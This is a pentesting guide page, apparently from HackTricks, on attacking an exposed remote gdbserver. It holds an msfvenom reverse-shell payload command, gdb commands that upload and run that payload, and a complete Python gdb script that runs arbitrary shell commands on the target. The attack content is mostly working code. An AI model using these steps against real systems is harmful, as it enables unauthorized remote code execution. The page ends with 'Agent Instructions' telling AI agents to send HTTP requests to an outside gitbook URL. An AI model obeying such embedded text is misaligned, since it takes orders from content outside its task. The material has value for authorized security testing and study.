# Pentesting Remote GdbServer

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## **Basic Information**

**gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.

You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.

## Exploitation

### Upload and Execute

You can easily create an **elf backdoor with msfvenom**, upload it and execute is:

```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```

### Execute arbitrary commands

There is another way to **make the debugger execute arbitrary commands via a python custom script taken from** [**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.**

```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```

First of all **create locally this script**:

{% code title="remote-cmd.py" %}

```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
    def __init__(self):
        self.addresses = {}

        self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
        gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

        gdb.execute("set detach-on-fork off")
        gdb.execute("set follow-fork-mode parent")

        gdb.execute("set max-value-size unlimited")
        gdb.execute("set pagination off")
        gdb.execute("set print elements 0")
        gdb.execute("set print repeats 0")

        super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

    def preload(self):
        for symbol in [
            "close",
            "execl",
            "fork",
            "free",
            "lseek",
            "malloc",
            "open",
            "read",
        ]:
            self.load(symbol)

    def load(self, symbol):
        if symbol not in self.addresses:
            address_string = gdb.execute(f"info address {symbol}", to_string=True)
            match = re.match(
                f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
            )
            if match and len(match.groups()) > 0:
                self.addresses[symbol] = match.groups()[0]
            else:
                raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

        return self.addresses[symbol]

    def output(self):
        # From `fcntl-linux.h`
        O_RDONLY = 0
        gdb.execute(
            f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
        )

        # From `stdio.h`
        SEEK_SET = 0
        SEEK_END = 2
        gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
        gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
        if int(gdb.convenience_variable("len")) <= 0:
            gdb.write("No output was captured.")
            return

        gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
        gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
        gdb.execute('printf "%s\\n", (char*) $mem')

        gdb.execute(f'call (int){self.load("close")}($fd)')
        gdb.execute(f'call (int){self.load("free")}($mem)')

    def invoke(self, arg, from_tty):
        try:
            self.preload()

            is_auto_solib_add = gdb.parameter("auto-solib-add")
            gdb.execute("set auto-solib-add off")

            parent_inferior = gdb.selected_inferior()
            gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
            child_pid = gdb.convenience_variable("child_pid")
            child_inferior = list(
                filter(lambda x: x.pid == child_pid, gdb.inferiors())
            )[0]
            gdb.execute(f"inferior {child_inferior.num}")

            try:
                gdb.execute(
                    f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                )
            except gdb.error as e:
                if (
                    "The program being debugged exited while in a function called from GDB"
                    in str(e)
                ):
                    pass
                else:
                    raise e
            finally:
                gdb.execute(f"inferior {parent_inferior.num}")
                gdb.execute(f"remove-inferiors {child_inferior.num}")

            self.output()
        except Exception as e:
            gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
            raise e
        finally:
            gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```

{% endcode %}

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-remote-gdbserver.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
